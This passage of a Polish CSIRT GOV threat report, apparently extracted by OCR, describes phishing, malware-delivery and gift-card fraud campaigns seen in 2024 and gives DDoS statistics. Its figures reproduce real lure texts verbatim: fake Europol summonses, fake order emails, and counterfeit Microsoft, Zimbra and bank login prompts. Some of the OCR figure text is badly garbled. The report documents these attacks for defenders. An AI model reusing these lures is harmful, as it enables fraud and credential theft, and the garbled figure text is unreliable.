gdzie zaobserwowanych przez CSIRT GOV byto tgcznie 5 wariantow kampanii wykorzystujacych rozmaite

adresy mail, tytuty wiadomosci, tres¢ wiadomosci oraz nazwy plikow.
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o
RZECZPOSPOLITA POLSKA

MIEDZYNARODOWA POLICJA
KONWOKACIA

EURCPOL

Dla celdw dochodzenia sgdowego
(art. 390-1 Kodeksu postepowania karnego)

Ma wnlosek generata Tomasza POLUCHA, naczelnego dowddoy Zandarmeril Wajskowe] it Dbromy
Terytorialne]. na wnlosek Europe|skizge Urzedu Polic)l (EURDPOL), wysylarmy o to zaproszenis w
ramach mabycla twaojego komputera przez cyberinfiltrac)e (autoryzowane w takich obszarach, Jak
pornografla dzlecleca, pedaofilla, cyber pornografla, ekshibicjonlzm Itp., handel ludimi w celach
seksualmych, od 2014 r), aby poinformowad, 2e zgodnle 2 obecaym kodeksem karnyrm w kontekicie
cyberprzesteperodol toczy sle przechwko toble s2ereg postepowar sgdowych. Fakty to: PORNOGRAFLA
DIIECIECA — PEDOFPHILLA — WYSTAWA — CYEERPORMOGRAFIA — HIJACKING MINORS.

Wiadz, 2 ustawa 2 marca 2014 r. Twlsksza kary, gdy propozycle, napaicl seksuslne lub gwalty moghy
zostal popetnlone 2a pormocg Internetu, 3 Ty masz w tym celu, popetnit te przestepstwa cytowane
powyle] po fledzenlu przez nasz CyberGendarme dziekd strumieniowl damych w Internecie, ktéry
stanowl dowdd twolch przestepste

Dlatego uprzejmile prosimy o wylainlenle sle pocztg elektroniczng, plszge do nas swole uzasadnlenia,
aby zostaly one sweryflkowane w celu oceny zanke)l, w dcishym terminle 72 godzin. Po tym okresle
przekatemy nasz raport do blure prokuratora generzlnego, ktéry Jast ekspertem w dzledzinle
cyberprzestepcrodel, w celu ustanowienla nakazy aresztowanla preeciwio toble, ktdre zostang
przekazans :andarmerll najblize] twaojego miejica zamieszkanla. Zostanlesz 1arejestrowany [ako
przestepce seksualny | Jak wskazano w procedurze wycofanla, Twoe Informac)e zostang przekazane
stowarzyszeniom antypedofilil | kilku krajowym kanatom telewlzy)nym w celu masowe] transmis)l do
radziny | bliskich, dziekl czemu wszyscy wiedzg, co robisz za kom puterem.

Clatego ceekamy na wylainlenia pod tyrm adrasam: hpm.pt.eu@gmail.com

Teraz, gdy 2ostanlesz powtadomlony, otrzyma) to wezwanle, aby doreczyd | domagad sle tego, oo Jest
wizbchwe.

EUROPOL BIRO PG SHOBS |
TRYBONAE RONSTITUCY.NY

f
T

Rysunek 7. Spreparowane wezwanie organéw $cigania — Policja i Europol
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FOLIC] SADOWE] KRAJOWA
GRUPA KODRDYRACYINA DO ZWALCZANIA CYBERPRZESTERCEZOSC]
Opalny kierunck : Jana Ostroroga 35 01-163 Varsovie

KONWOKACJA

EURT”POL

Konwokacja N® : TE4759 /rpl29
Data : Niedziela 28 listopada 2022 r

Ma Twoje| uwagi

Na pradhs Pani Mireille BALLESTRAZZL, Komisarza Generalnego Policl Sadowe), wybranego Dyreltora
Europolu, Brygady Ochrony Nieletnich we wspatpracy = Centralmym Biurem do Walki =
Cyberprzestgpozoscia (CAZC), przesylamy Panstwu ninbejsze zaproszenie.

COP] lub wepwanie preez funkcjonariusza polic)i sadowej okresla art. 390-1 kpk. warts wezwag do sadu | rozstryga
prokurator

Zgodnde z zapisamd art. 272 kk stanciwiz Kazda nieprzyzwaitanapasc popelniona bezx przemocy lub grozb wabec
menby luh 2 pomoca asehy dzlecks obajpa ploLponize| szesnastegn rmku zycla,podlega karze pozhawienla

wolnascl,

A 227-23 Kodeksu Kamedas stanowi: Uirwalanie otiwalanie lub prgesylanie wizerunke lub preedstawienis
malelentimiepe w celu jego rogpowazechniania ma charakter pomograficeny podleza Earez piecu lal™ kara
poebawiena wolnosci | grayw w wysokosci 750 Euros,

Wkrotce po zajeclu komputera praez cyberinfiltracie podejmujemy kroki prawne przecikwo tobie w zwiazku 2
_ Pomografica dxiecieca

_pedofilia

_ Ekshibicjonizm

_ Cyber pornogralia

_Handel sekem

Dla twojej informaci, marcewe proawo zacstrza kary, gdy zeznania, napagci na tle seksualnym lub gwakty moghy
goalad popelnione prees [nternet

biailed preestepatvn po Ui, jak byked celem w Internecie (trona reklamowa), opladafqe Hlmy 2 pornogealiy
7, = jeciafilmy nagich nieletnich, kidre zostaly zrobiene preez naszego cvberzandam | stanawin dowdd
twoich preestepstw

Zpadnie z art. TH kie, komaornik sqdowy mode zmusié Policjg do stawienia sig, za upreadnim upowainleniem
prokuratara, asdb, kpdre nle stawily skg na wezwanie do stawlania sig lub abawialq sig nie stawid sig na takie
weEwani

Zeowegledu na poulmodd wysylamy Jdo Ciebie g wiadomoesd @-mail 2 prodbg o preeslanie e-mailem swaich
powoddw, aby mozna je bla zhadad | preejreed w celu oceny sankcii, W celu uzyskania wszystkich informacii
bedziemy zobowiazani, w fcshym terminie 72 godzin, przestaé nasze zawiadomienie do zastepoy prokuratora i
jegn zespoiu wyspecjalizowanego w zwalczaniu cyberprzestepozodei.

W takdm preypad o wydlemy Ci list polecony =a potwisrdzeniem odbioru {natychmiastowe aressmowanie) preez
najblizszy posterunek policil, Twd) dom | 2ostaniesz wpisany do krajowege rejestmu preestgpoiw seksualnych, W
takim preypadku Twoje akta zostang rownies przestane do stowarsyszen na reecz walki @ pedofilig oraz do whads
w o celu apublikowania adoby gnajdujgoe) sig w aktach RMDS

l=éli procedura i termin nie zostang dotrzymane, list reklamacyjny zostanie przestany poczta.
W oewigzku z tym czekamy na Panstwa wyjasnienia pad nastepujpoymi adresami:

el icit oy nielitn iCh@ e cam

Pani Mireille BALLESTRAZZI, Komisarz Generalny Policji Sjdowej, wybrana na Dyrektora Observwatorium Policji

Sy owee).

Mireilld BALLESTRA;

Rysunek 8. Spreparowane wezwanie organéw $cigania - Europol i Zandarmeria Wojskowa
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Nastepna istotng z punktu widzenia bezpieczenstwa CRP aktywnoscig socjotechniczng byta
dystrybucja wiadomosci ze skompromitowanej skrzynki poczty elektronicznej Dziennika Podawczego
urzedu miejskiego jednej z polskich gmin (gmina@....um.gov.pl). Fatszywa wiadomosc o temacie Order
(pol. Zamdwienie) i tresci w jezyku angielskim dotyczyta zamowienia produktéw. Zataczony do maila
plik o nazwie Orderpng.img zawierat w sobie plik wykonywalny o rozszerzeniu EXE, ktdry na bazie
przeprowadzonej analizy zaklasyfikowany zostat jako trojan Agent Tesla. Pozyskane logi w postaci
dziennika serwera pocztowego, dziennikow aplikacji Zimbra oraz korespondencji wychodzacej
ze wskazanej skrzynki potwierdzity przejecie skrzynki pocztowej urzedu. Zidentyfikowanych zostato
tacznie 38 odbiorcow przedmiotowej wiadomosci w 18 instytucjach pozostajacych we wtasciwosci
CSIRT GOV.

Good morning,

I would like to order the attached products
Could you send me all cost with shipping?

Best Regards,

Dziennik Podawczy
Sales Manager

BALKANS.D.0.0
Bulevar oslobodenja
113, Vozdovac,
Belgrade

Tel: + 381 11 31232312
Fax: + 381 1 77686609

Infarmation posted in this section is intended for the recipient only and may cantain confidential information. If you are not the recipient, please unzip this message and notify the sender: you should not copy o distribute this message
or disclose its content to anyone. All views or opinions expressed in this section are those of individuals and not necessarily those of the organization.

This message cannot be referred to without written confirmation from its authorized representative. this page or any attachment is guaranteed to be virus free

v [ 1attachment: Order.png.img 1.2 MB

B Orderpng.img 1.2MB

Rysunek 9. Rysunek — phishingowa wiadomo$c e-mail
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Kolejng szeroko odnotowang kampanig dystrybuujacg ztosliwe oprogramowanie byty
proby dystrybucji trojana zdalnego dostepu Remcos RAT. Wiadomosci te wysytane byty z adresu
w domenie karbon2.pl. Mail o tytule NOWY ZAMOWIENIE 0524 informowat o rzekomo podjetej uprzednio
probie kontaktu ze strony adwersarza oraz zachecat odbiorce do otwarcia zatacznika, w ktorym -
zgodnie z opisem - miata znajdowac sie specyfikacja zamdwienia. Zatgczony do maila plik o nazwie
NOWY ZAM_WIENIE 0524 Pdf.gz zawierat ztoSliwe oprogramowanie.

"Michat Ko v
"Michat Ko ski < inf

NOWY ZAMOWIENIE 0524

Dzien dobry,

Dzwonitem wczoraj na Twdj telefon biurowy, ale nie moge sie z Toba potaczyc.

Czy mogtbys zapoznac sie z zatgczong specyfikacja zamowienia i przestac nam fakture proforma?

Czekam na szybka odpowied?.

Dziekuje i pozdrawiam,

Z powazaniem
Michat Kozikowski

Kierownik Filii Zabrze

Filia Zab

tel. (+48) 32 2
https://www.karbon2.pl

WWw.super-soco.pl

v [ 1attachment: NC ZAM_WIENIE 0524

AM_WIENIE 0524 Pdf.gz

Rysunek 10. Rysunek — phishingowa wiadomo$¢ e-mail majgca na celu nakfonienie ofiary do pobrania pliku

w formacie .gz

“ Remcos RAT - ztosliwe oprogramowanie w postaci trojana zdalnego dostepu (ang. Remote Access Trojan, RAT), ktdre pozwala na
kontrolowanie zainfekowanego systemu na odlegtos¢.
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Nastepnym zaobserwowanym incydentem byta kampania socjotechniczna, ktdrej celem byta
infekcja urzadzen odbiorcow ztosliwym oprogramowaniem. Nadawca podszywat sie w mailu pod spétke
PGNiG Obrot Detaliczny sp. z 0.0. Mail o tytule PGNiG — Whiosek o oferte: Projekt Suwalki 2025/2026 miat
na celu zaintrygowac swojg trescig odbiorce i naktoni¢ go do wejscia w interakcje z zatacznikiem.
Zataczone archiwum o nazwie PGNIG Whiosek o oferte Projekt Suwalki 20252026.9z zawierato plik VBS
0 tozsamej nazwie. Analiza przeprowadzona przez Zespot CSIRT GOV wykazata, iz skrypt odpowiedzialny

byt za pobranie z domeny mobiera.ro ztosliwego oprogramowania zaklasyfikowanego jako trojan GuLoader.

PGNiG - Whiosek o oferte: Projekt Suwalki 2025/2026

Dzieri dobry.

Proszq powiedzie¢ nam najlepszg ceng za zalgczong listg, poniewaz sq one pilnie potrzebne do trwajgeego projektu tutaj w Polsce.

Szybka odpowiedZ bedzie bardzo doceniana.

Z powazaniem / Best Regards,

Doradca Klienta Kluczowego
Dziat Klientow Kluczowych 1v
Obszar Klientéw Kluczowych

C PGNiG

GRUPA [T

PGNiG Obrot Detaliczny sp. z 0.0.
ul. Gazowa 3

50-513 Wroctaw

tel. kom. +48 695 746 793
Rgnig.pl

Dane rejestrowe

PGNIG Obrot Detaliczny sp. z 0.0., ul. Jana Kazimierza 3, 01-248 Warszawa
KRS 0000488778, Sad Rejonowy dla m. st. Warszawy XIIl Wydziat Gospodarczy KRS

attachment: PGNIG Whniosek o oferte P

¥ PGNIG Wniosek o oferte Projekt Suwalki 2025

Rysunek 11. Phishingowa wiadomo$¢ e-mail wraz ze zto$liwym zatacznikiem w archiwum .gz
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Zagrozenia odnotowane w lll kwartale 2024 roku

W lipcu 2024 roku miata miejsce kampania, w ktdrej adwersarz podszywat sig m.in. pod
prezesa kluczowej instytucji rynku finansowego. Odbiorcami korespondencji byli pracownicy instytucji,
pod ktdrg atakujacy sie podszywat. Wiadomosci o temacie w postaci imienia obiorcy wysytane byty
z adresu w domenie gmail.com. Nadawca zachecat w tresci odbiorce do przestania wtasnego numeru
telefonu celem dalszego kontaktu. Dalsza korespondencja byta inicjowana przez atakujacego
za posrednictwem komunikatora WhatsApp, co finalnie miato na celu wytudzenie srodkéw finansowych

poprzez zakupione przez ofiare karty podarunkowe.

wita [

Czy mozesz poswiecic¢ chwile? Jestem dzisiaj dosc zajety 1 potrzebuje twojej pomocy w waznej sprawie. Podaj swoj numer telefonu komdrkowego, a ja
skontaktuje sie z Tobg za posrednictwem WhatsApp.

Dzigkuje,
Z wyrazami szacunku,

Chief Executive Officer

Rysunek 12. Phishingowa wiadomo$¢ e-mail majgca na celu nakfonienie ofiary do podjecia kontaktu

z atakujacym
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il LTE

Ch %

Wil LTE B

moge pomoéc?

Pozdrawiam

mozna kupié karty upominkowe
Apple?

ory przychodzi
j chwili to iSpot w

& dat mi znac, jesli j L3 sklepie Apple mo2na je zakupic ale
teraz dostepny! wydaje mi sie ze najblizszy punkt
jest w ziotych tarasach
Pozdrowienia

i chwili dostepna.
em w biurze m wystac mi S
dotrzesz?
moge pomoc?

Qczywiscie, zaraz wyjde z biura

Pozdrawiam

ekac na twoj tekst.

Jesterm w

Rysunek 13. Rozmowa pracownika instytucji z adwersarzem za posrednictwem komunikatora WhatsApp
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Nastepng kampanig zaobserwowang przez CSIRT GOV byta proba wytudzenia danych
logowania poprzez wykorzystanie wizerunku firmy Microsoft, w tym logotypu SharePoint w ramach
rozpowszechnianych maili phishingowych z plikiem graficznym. Plik ten stanowit hipertagcze do zasobu
SharePoint ze ztosliwg zawartoscia. Nadawca byt adres w domenie werk.belgie.be, ktory powigzany jest
z prywatng firma (dane wskazuja na przejecie skrzynki mail). Tres¢ korespondencji zachecata odbiorce
do wejscia w interakcje z hipertaczem, przekierowujacym uzytkownika na strone w ramach subdomeny
ustugi SharePoint. We wskazanej lokalizacji znajdowat sie dokument w formacie PDF majacy za zadanie
imitowaC okno dialogowe Microsoft. Tres¢ fatszywego okna dialogowego informowata uzytkownika
o dokumentach udostepnionych przez nadawce, z ktorymi nalezato sig zapoznac poprzez zawarty link.
Pod danym linkiem znajdowat sig panel logowania majacy przypominac ten od firmy Microsoft. Zaleznie
od weryfikacji uzytkownika wyswietlat sie podstawiony panel logowania lub rzeczywisty w domenie

Microsoft.

Te p harepoir pd arepo > 8
FEDERALE OVERHEIDSDIENST WERKGELEGENHEID

Good Afternoon,
| trust this email finds you well. Please see below

s

POF Attachments

(5]

POF Sharessed thired Sotcrmesst sasertly

Kindly acknowledge the receipt of this email. Please let me know if you have any question regarding this

a 4 VER HST Bruno Ottenbourgs
en S

Arbeidsinspecteur
Arbeidsinspectie - Toezicht op de
Sociale Wetten

Cel Posted Workers - Oost-

Vlaanderen

02 233 46 89
bruno.ottenbourgs@wel
Info: Toezicht op de Soc

This email and any files transmitted with it are confidential and contain privileged or copyright information. You must not present this message to another party without gaining permissicn from the
sender . If you are nat the intended recipent you must not copy,distribute or use this email or the infarmation contained in it for any purpose other than ta notify interstate

De FOD Werkgelegenheid, Arbeid en Sociaal Overleg respecteert de privacy-wetgeving, lees meer op https://werk.belgie.be/nl/over-de-fod/bescherming-van-persoonsgegevens
Indien dit bericht niet voor u bestemd is, verzoeken wij u dit aan ons te melden en het te vernietigen.

Rysunek 14. Wiadomo$¢ z hipertagczem do zasobu w sieci Internet
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B Bruno Otten...ith you.pdf

Bruno Ottenbourgs Shared a Folder with you.

You have received 3 documents for your review.

This message was sent to you to protect sensitive information.

Ref: ‘Review Project” from Bruno Ottenbourgs

Rysunek 15. Dokument dostepny na platformie SharePoint majgcy imitowac rzeczywiste powiadomienie

0 oczekujgcym dokumencie
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B® Microsoft

Sign in

Email, phone, or Skype

No account? Create onel

Can't access your account?

@Q Sign-in options

Rysunek 16. Podstawiony panel logowania do ustug firmy Microsoft

W sierpniu 2024 roku Zespot CSIRT GOV uzyskat informacije o wystapieniu kampanii phishingowej,
w ktdrejadwersarz stosowat razne techniki podszycia celem wytudzenia danych uwierzytelnienia do poczty
elektronicznej odbiorcy, m.in. podszycia sie pod administratora poczty w instytucji odbiorcy. Wiadomosci
o temacie Sprawdzenie konfiguracji dla {DOMENA_INSTYTUCJI} tudziez Problem z wysytaniem/odbieraniem
poczty na (NAZWA_INSTYTUCJI} wysytane byty z rozmaitych adresow email. Wiadomosc ta informowata
odbiorce o rzekomych problemach z dostarczaniem wiadomosci email. Celem rozwigzania opisanego
problemu uzytkownik miat zalogowac sig na konto poczty elektronicznej poprzez zawarte we wiadomosci
hipertacze. Link ten powigzany byt z domeng jpfs.io, na ktorej znajdowat sie podstawiony panel logowania

wykorzystujacy wizerunek instytuciji.
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M Mail Server Server@

rpw

Sprawdzenie konfiguracji dla zalecane

Powiadomienie o problemie z konfiguracja na|JJji

Szanowny Kliencie

Twojej domer Iw-

sylanie lub odbieranie v

res "'_

Zapewnic nieprzerwane

Problem dotyc:

Zalecamy sp

Sprawdz Instrukcje

an pomoze utr

enie konfiguracji

anie ushug

¢ plynne funkcjonowanie usiug p

wiadac.
a lub skontaktuj sie z nami

ann.org
a zastizezone

Rysunek 17. Wiadomo$ci informujgca o rzekomych problemach z konfiguracjg ustugi

Wveomail -
Emai: I

Password:

Rysunek 18. Podstawiony panel logowania do ustugi webmail
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Nastepng kampanig socjotechniczng zaobserwowang w sierpniu 2024 roku przez Zespot
CSIRT GOV byty wiadomosci o temacie <Ostatnie ostrzezenie> Hasfo do e-maila Zimbra wygasnie za 48 godzin,
poczawszy od dzisiaj, ktdre dystrybuowano za pomoca adresu nalezacego do dyrektora jednej z placowek
o$wiaty na terenie kraju. Celem zachowania dotychczasowego hasta nalezato zalogowac sie poprzez
podstawiony panel logowania ustugi Zimbra, ktdry byt dostepny pod zamieszczonym hipertaczem

odwotujacym sie do strony w domenie firebasestorage.googleapis.com.

"Zlmbra" Web

[1]

<Ostatnie ostrzezenie> Hasto do e-maila Zimbra wygasnie za 48 godzin, poczawszy od dzisiaj

Drogi Uzytkowniku,
Twoje hasko e-mail Zimbra wygasa za 48 godzin, poczawszy od dzisiaj. Uzyj ponizszego przycisku, aby rozwigzac problemy lub kontynuuj uzywanie tego samego hasta.

Zachowaj to samo hasio

Zmien hasto
Jesli nie zostang podjete Zadne z powyzszych dziatan, dalsze wysylanie wiadomosci moze zostac zablokowane. Ten e-mall zostal wystany z Twojego centrum pocztowego.

Prawa autorskie © 2024 Inc. Wszelkie prawa zastrzezone

Rysunek 19. Wiadomo$¢ wystana ze skompromitowanej skrzynki poczty elektronicznej

&) zimbra

Your Session has expired, login again.

Email required:

Confirm Password:

B Stay signedin
Version: Default bl What's This?

Rysunek 20. Sfatszowany panel logowania do ustugi Zimbra
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W drugiej potowie sierpnia 2024 roku Zespot CSIRT GOV uzyskat informacjg o wystgpieniu kampanii
phishingowej, w ktdrej adwersarz podszywa sie pod administratora poczty elektronicznej atakowanej
instytucji. Wiadomosci o temacie Przeglad kodeksu postepowania {NAZWA_INSTYTUCJI} wysytane byty
z adresu w domenie gmail.com. Przyktadowa wiadomos¢ informowata odbiorce o rzekomej niedawnej
aktualizacji kodeksu postepowania i polityki firmy. Celem zapoznania sie z ww. dokumentem - zgodnie
z trescig - nalezato klikngé w hipertacze. Link ten powigzany byt z domeng boomers-cloud.info. Na danej
stronie znajdowat sie spreparowany panel logowania przypominajacy ten do ustug firmy Microsoft oraz
informacja o rzekomym udostepnieniu plikow odbiorcy wiadomosci, ktore mozna zobaczy¢ pod dostepnym

kodem QR. Przedmiotowy kod QR przekierowywat na strone w domenie 76y.evelumbi.com.

Communication

Przeglad kodeksu postepowania

Szanowni Panstwo,

Z przyjemnoscig informujemy, ze niedawno zaktualizowalismy kodeks postepowania i polityke firmy na rok 2024, aby
odzwierciedli¢ aktualne praktyki zatrudnienia i przepisy prawa pracy.

Prosimy o uwazne przeczytanie, poniewaz od ostatniej wersji zaszty pewne istotne zmiany.

ZOBACZ PDF TUTA] i zapoznaj sie z nim.

Z wyrazami szacunku,

Chief Executive Officer

Rysunek 21. Phishingowa wiadomo$¢ e-mail wraz ze zto$liwym odno$nikiem
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B Microsoft Power BI

A Document Has been Shared With You

Documents shared are added to your Dashbeard autematically, Scan QR to Login
to your Dashboard to view shared documents via Microsoft One Drive.

Scan QR code to access Shared File
L

Dashboards have been personalized for every organization, The dashboard includes 4 indicators,
Dashboard leads you directly to your Shared Documents and other strategic data for your
organization at a glance,

To access shared documents, Scan QR code, as this is an Office product, and for afficial use

only
You can also install the app on your phene te quickly have access to shared items

ien, One Microsoft Way, Redmond, WA 98052

Rysunek 22. Spreparowany dokument dostepny na platformie SharePoint majacy imitowac rzeczywiste
powiadomienie o0 oczekujgcym pliku

B® Microsoft
Sign in

No account? Create onel

Can't access your account?

Q Sign-in options

Rysunek 23. Sfatszowany panel logowania do ustug Microsoft
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Pod koniec sierpnia 2024 roku Zespot CSIRT GOV uzyskat informacje o wystapieniu kampanii

phishingowej, w ktorej adwersarz podszywa sie pod Kancelarig Prezesa Rady Ministrow celem wytudzenia
danych logowania do portali bankowych (oficjalnie wykorzystywane jako m.in. metoda logowania
do e-ustug rzadowych typu mObywatel, Profil Zaufany). Przedmiotowa strona zlokalizowana byta
w domenie otoczenia.odszkodowanie-gov.com. Strona wykorzystywata wizerunek KPRM oraz stylistyke
oficjalnej witryny rzadowej, ktora jest stosowana przez administracje panstwowa w ramach domeny
gov.pl. Na stronie widniata informacja o rzekomym odszkodowaniu, jakie przystugiwac¢ miato kazdemu
gospodarstwu domowemu w kwocie ponad 400 zt. Aby uzyskac powyzsze $rodki, nalezato uwierzytelnic
sie za pomocg wybranego z listy banku. Po wybraniu instytucji finansowej z listy nastepowato zatadowanie
podstawionej strony danego banku z dostepnym panelem logowania.
GOV.pl | s recomosole o S

Kancelaria Prezesa

{ Rady Ministréw “bip
Strona giéwna H
Odszkodowanie
Rag: on
otoczenia.odszkodowanie-gov.com 1 sierpnia rzad podjat decyzje o przyznaniu kazdemu gospodarstwu domowemu kwoty 439,05 21 na
T wyréwnanie rachunkéw za wode | energie I

W celu wery jazne jest, aby raz ukoriczy¢ proces weryfikacji. Nastgpnie otrzymasz kwote na

swoje konto u dni roboczych

WYBIERZ APLIKAC|E BANKOWOSCI CYFROWE), ABY SIE ZALOGOWAC

Wybierz swoj bank -

Kancelaria Prezesa Rady Ministrow

Rysunek 24. Strona podszywajaca sie pod rzeczywistg witryne KPRM w domenie gov.pl — cz. 1

Serwis Rzeczypospolitej Polskiej
gov.pl [ Serwis Rzeczypospoiite] Polskie] s

dla Obywatela
151
B

Al. Ujazdowskie 1/3
00-583 Warsaw

— a w dni robocze w godzinach 8:15-
Regon 012261725

oEODE

Polityka cookies  Sluzbacywilna  Profilzaufany BIP  Prawa autorskie E] gov.pl
De
>
;
Fundusze i Unia Europejska
Rzeczpospolita
Europejskie [
! bt M Pous -

Rysunek 25. Strona podszywajgca sie pod rzeczywistg witryne KPRM w domenie gov.pl - cz. 2
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iPKO - Pl v

ZQIOQUJ SIQ Nie masz konta?

3isz numer klienta lub

Pomoc N EGgDWﬁn]U -

Twoje potrzeby na
pierwszym planie. RRSO
11,57%

Wez swojq pierwszq poiyczke U nas - na

specjalnych warunkach

15.04.2024 05 0502
Zwolnij, by wyprzedzic Otworz konto firmowe i Whiosek o $wiadczenie
oszustow tankuj korzysci wspierajgce
E Zyskaj do 200 zt zwrotu miesiecznie za 0d 22.01.2024 roku w serwisie iPKO,
platnasci kartg do konta VISA na asaby z niepelnosprawnosciami, mogg
stacjach paliw i ladowania ztozyc wniosek o Swiadczenie
Wiecel somochodow elektrycznych wspierajgce na czesciowe pokrycie
gce) wydatkow na potrzeby.
Wiecej
Wiecej
& Bezpieczenstwo @ Pomac E4 Kontakt
© 2024 PKO Bank Polski Kod BIC (Swift): BPKOPLPW Polityka prywatnosci

Rysunek 26. Spreparowany panel logowania do ustugi iPKO
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Zagrozenia odnotowane w IV kwartale 2024 roku

W czwartym kwartale 2024 roku jako pierwsza z szerzej dystrybuowanych kampanii odnotowano
dystrybucje ztosliwego oprogramowania w ramach zatacznika do wiadomosci email. Korespondencja ta
rozsytana byta poprzez poczte elektroniczng z konta w ustudze Gmail. Nadawca wiadomosci podszywat
sie pod prywatna firme, aby dostarczac do uzytkownikdw koncowych rzekome zapytanie ofertowe, ktdre
miato znajdowac sie w zataczniku. W rzeczywistosci stanowit on archiwum o rozszerzeniu LZH, ktore

zawierato w sobie ztosliwe oprogramowanie zaklasyfikowane jako trojan Quasar.

Zapytanie - Oferta METAL-KONSTUKCJE POLSKA 89118PL

Szanowny Panie/Pani

Prosimy o przestanie oferty w zataczonym zapytaniu ofertowym.

Z powazaniem

Aleksandra.

PHU METAL-KONSTUKCJE POLSKA

Krakowskie Przedmiescie 15/17
00-071 Warsaw, Poland

Tel: +48 (02) 8935341

FAX: +48 (02) 883 20 14

Cell: +48 509168507 | Ext: 651

v (Il 1attachment: 0 9118 _ Metal-Constructions.pdf.lzh 3.7 MB

i Zamowienie 89118 _ Metal-Constructions.pdf.lzh 3.7 ME

Rysunek 27. Wiadomo$¢ dystrybuujgca ztosliwe oprogramowanie typu RAT Quasar

W listopadzie 2024 roku Zespot CSIRT GOV zarejestrowat kampanie phishingowg dystrybuujaca
wiadomosci mail z hipertgczem do strony w domenie mandalaywoods.com, z ktdrej nastepowato
przekierowanie na cdn.dragon.cere.network. Wiadomosci te przypominac miaty swoja trescig powiadomienie
systemowe informujace odbiorce o otrzymaniu przez niego dokumentdéw na platformie SharePoint. Pod
adresem cdn.dragon.cere.network znajdowata sie strona imitujgca zabezpieczony hastem dokument

Microsoft Word. Stuzyto to wytudzeniu danych logowania odbiorcy do ustugi Microsoft.
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Masz nowe wiadomosci za posrednictwem
Sharepoint.

Otrzymano przychodzace dokumenty faksowe: POTWIERDZENIE
ZAM&Oacute;WIENIA DOKUMENT.

ODEBRANO : 13/11/2024

CZAS TRANSMISJI: 78 sek.

Utworzony przez SharePoint Fax:
Typ pliku : PDF

Rozmiar : 230.09 KB

Selection
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= = = = Arrange
Sign in again ! —

L Search
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Size Col
% Hyphenation v =< Right: [0-
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Only recipient email ¢an access shared
file 10 open the received document
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Rysunek 29. Widok strony imitujacej ustuge Microsoft Word
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W listopadzie 2024 roku zarejestrowano szeroko rozpowszechniong kampanie socjotechniczng,
w ramach ktorej dystrybuowane byto ztoSliwe oprogramowanie typu trojan. Wskazana korespondencja
informowata odbiorce o zataczniku, w ktdrym znajdowac miat sie kosztorys specyfikacji zamowienia.
Jak wynika z analizy oryginatow wiadomosci, byty one dystrybuowane za posrednictwem
skompromitowanego konta przedstawiciela handlowego zagranicznej firmy. Zatacznik do wskazanej

wiadomosci stanowito archiwum o rozszerzeniu LZH, ktdre zawierato w sobie ztosliwe oprogramowanie.

Quotation

Good Day

Please find the attached Quotation sheet with all our specifications and quantities.Kindly provide us your best available prices. Also kindly provide us
your direct contact details for easy communication

We hope your prices are better than our former supplier.

Awaiting your kind response at the earliest.

THANKS & REGARDS

Alexandra Ramos

Operations Executive K N Z \A‘

@© Phone: (81) 811515 72 ext. 125

Torre S

orre San Pedro, Av. Jiménez 465
Oficina 301, SPCG, N.L. 66230 @ o o

~ [l 1attachment: Quote.lzh ¢

¥ Quote.lzh KB

Rysunek 30. Wiadomo$¢ ze zto$liwym zatgcznikiem

Ponizsza kampania zarejestrowana zostata przez Zespot CSIRT GOV wobec jednego z polskich
ministerstw. Wiadomosci przychodzace z réznych adresow mail o nazwie HR Department i zmiennym
temacie informowaty odbiorce o zatgczniku, w ktdrym znajdowac sie miat raport dotyczacy pracownikow
do zwolnienia badz otrzymania premii za osiggniete wyniki. Zawarte we wiadomosci hipertacze
odwotywato sie do strony w domenie benefitt.best, na ktorej zawarty byt panel logowania. Nad wskazanym
panelem logowania widoczne byto logo, ktore stanowito ikone witryny WWW odbiorcy wiadomosci

(domena odbiorcy) celem legitymizacji strony wytudzajacej dane logowania.
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IMPORTANT: Employee Performance Evaluation - November 2024 (Ref: -80852)
Helloll

Good day!

Kindly Check below link for Employees Performance report, till this month of NOVEMBER 2024:

imer-recordslsta_n ewslemployee.record/November 2024-rep0_rt5!_

Please do note that All names highlighted in Red indicate employees whose confract is to be terminated. and names
highlighted in Green indicates Employees whose performance deserves a bonus and the upcoming salary increment.

Kindly Click the above link to check your performance and Append your signature, then return your response immediately
Please reply and ask questions, should you have further enquiry.

Best regards,
Director of HR

Human Resource Department

Rysunek 31. Wiadomo$¢ ze ztosliwym zatqcznikiem

Sign to continue

I I
Password

Remember Me

Rysunek 32. Spreparowany panel logowania
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Zaobserwowane tendencje atakow socjotechnicznych w 2024 r.

Na przestrzeni minionego roku zaobserwowa¢ mozna byto liczne ataki oraz kampanie

wykorzystujace:

skompromitowane konta poczty elektronicznej instytucji szczebla lokalnego, wojewddzkiego,
krajowego oraz miedzynarodowego, w tym przejecia rzadowych skrzynek email (m.in.

w domenie gov.pl) oraz skrzynek innych panstw europejskich i instytucji miedzynarodowych;

kody QR zamiast klasycznych odnosnikow, pozwalajgce na ominiecie automatycznego

skanowania potencjalnie ztosliwej zawartosci przez filtry bezpieczenstwa poczty;

motyw przewodni podpisywania dokumentow za pomoca serwisow typu DocuSign oraz zachety
do wyswietlania udostepnionych dokumentdw na rzeczywistych ustugach, takich jak Microsoft
SharePoint czy Google Drive;

stosunkowo proste, jednakze szeroko dystrybuowane wykorzystywanie wizerunku polskich
oraz europejskich organow Scigania celem zastraszenia odbiorcy do podjecia stosownych

czynnosci;

dystrybucje wiadomosci email do adresatéw w wielu panstwach cztonkowskich Unii

Europejskiej;

wizerunek instytucji szczebla centralnego celem legitymizacji prowadzonych dziatan
ofensywnych, zardéwno wobec osob prywatnych, jak i innych instytucji lub operatorow
infrastruktury krytyczne;j.
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Ataki DDoS

W ciggu 2024 roku Zespot CSIRT GOV odnotowat 348 atakéw DDoS. Liczba przedmiotowych

zdarzen z podziatem na poszczegdlne kwartaty zostata przedstawiona ponizej.

139
114
i | |

Kwatat | Kwartat Il Kwatat Il Kwartat IV

Wykres 6. Liczba atakow DDoS w podziale na kwartaty

W ciggu catego 2024 roku celem atakow DDoS byty 44 instytucje znajdujace sie we wtasciwosci

CSIRT GOV. Najwiekszg liczbe atakow oraz atakowanych podmiotow zarejestrowano w pierwszym

kwartale 2024 roku.
33
i | i
i 16
12

Kwatat | Kwartat || Kwatat IlI Kwartat IV

Wykres 7. Liczba zaatakowanych instytucji z podziatem na kwartaty
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Charakterystyka atakow DDoS wskazuje, iz dominowaty ataki wykorzystujgce metody okreslane
jako TCP SYN/ACK Flood oraz UDP Flood. Wykorzystano takze ataki aplikacyjne bazujace na licznych
zapytaniach HTTP typu GET czy POST w celu przecigzenia zasobdw serwera.

